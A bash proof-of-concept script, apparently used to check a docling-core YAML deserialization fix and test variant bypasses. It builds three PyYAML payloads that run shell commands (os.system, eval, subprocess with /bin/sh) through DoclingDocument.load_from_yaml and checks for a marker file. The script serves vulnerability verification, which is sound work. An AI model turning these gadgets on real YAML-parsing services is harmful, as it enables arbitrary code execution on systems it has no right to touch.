#!/bin/bash
set -euo pipefail

# Portable paths - works from any directory
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
mkdir -p "$LOGS"

cd "$ROOT"

VENV_VULN="$ROOT/.venv_docling_vuln"
VENV_FIXED="$ROOT/.venv_docling_fixed"

setup_venv() {
  local venv_path="$1"
  local docling_version="$2"
  local pyyaml_version="$3"

  if [ ! -d "$venv_path" ]; then
    python3 -m venv "$venv_path"
  fi

  # shellcheck disable=SC1091
  source "$venv_path/bin/activate"
  pip install --upgrade pip >/dev/null
  pip install "docling-core==${docling_version}" "PyYAML==${pyyaml_version}" >/dev/null
  deactivate
}

run_attempts() {
  local label="$1"
  local venv_path="$2"
  local success=1

  echo "=== Running variant attempts against ${label} ===" | tee "$LOGS/${label}_summary.log"

  # shellcheck disable=SC1091
  source "$venv_path/bin/activate"

  for attempt in 1 2 3; do
    local marker="$LOGS/${label}_attempt_${attempt}_pwned.txt"
    local payload="$LOGS/${label}_attempt_${attempt}.yaml"
    rm -f "$marker"

    case "$attempt" in
      1)
        cat > "$payload" <<EOF
!!python/object/apply:os.system ["id > ${marker}"]
EOF
        ;;
      2)
        cat > "$payload" <<EOF
!!python/object/new:tuple
- !!python/object/new:map
  - !!python/name:eval
  - ["__import__('os').system('id > ${marker}')"]
EOF
        ;;
      3)
        cat > "$payload" <<EOF
!!python/object/apply:subprocess.check_output
- ["/bin/sh", "-c", "id > ${marker}"]
EOF
        ;;
    esac

    echo "--- ${label} attempt ${attempt} ---" | tee -a "$LOGS/${label}_summary.log"

    python - <<PY 2>&1 | tee "$LOGS/${label}_attempt_${attempt}.log"
from docling_core.types.doc import DoclingDocument

try:
    DoclingDocument.load_from_yaml("$payload")
    print("YAML load completed without exception")
except Exception as exc:
    print(f"Caught exception after YAML load: {exc}")
PY

    if [ -f "$marker" ]; then
      echo "${label} attempt ${attempt}: marker file created at ${marker}" | tee -a "$LOGS/${label}_summary.log"
      success=0
    else
      echo "${label} attempt ${attempt}: marker file not found" | tee -a "$LOGS/${label}_summary.log"
    fi
  done

  deactivate
  return "$success"
}

setup_venv "$VENV_VULN" "2.48.3" "5.3.1"
setup_venv "$VENV_FIXED" "2.48.4" "5.3.1"

vuln_status=1
fixed_status=1

if run_attempts "vulnerable" "$VENV_VULN"; then
  vuln_status=0
fi

if run_attempts "fixed" "$VENV_FIXED"; then
  fixed_status=0
fi

if [ "$fixed_status" -eq 0 ]; then
  echo "VARIANT BYPASS CONFIRMED: marker file created on fixed version" | tee "$LOGS/bypass_result.log"
  exit 0
fi

if [ "$vuln_status" -eq 0 ]; then
  echo "Variant reproduced only on vulnerable version (no bypass)." | tee "$LOGS/bypass_result.log"
  exit 1
fi

echo "No variant reproduced on either version." | tee "$LOGS/bypass_result.log"
exit 1
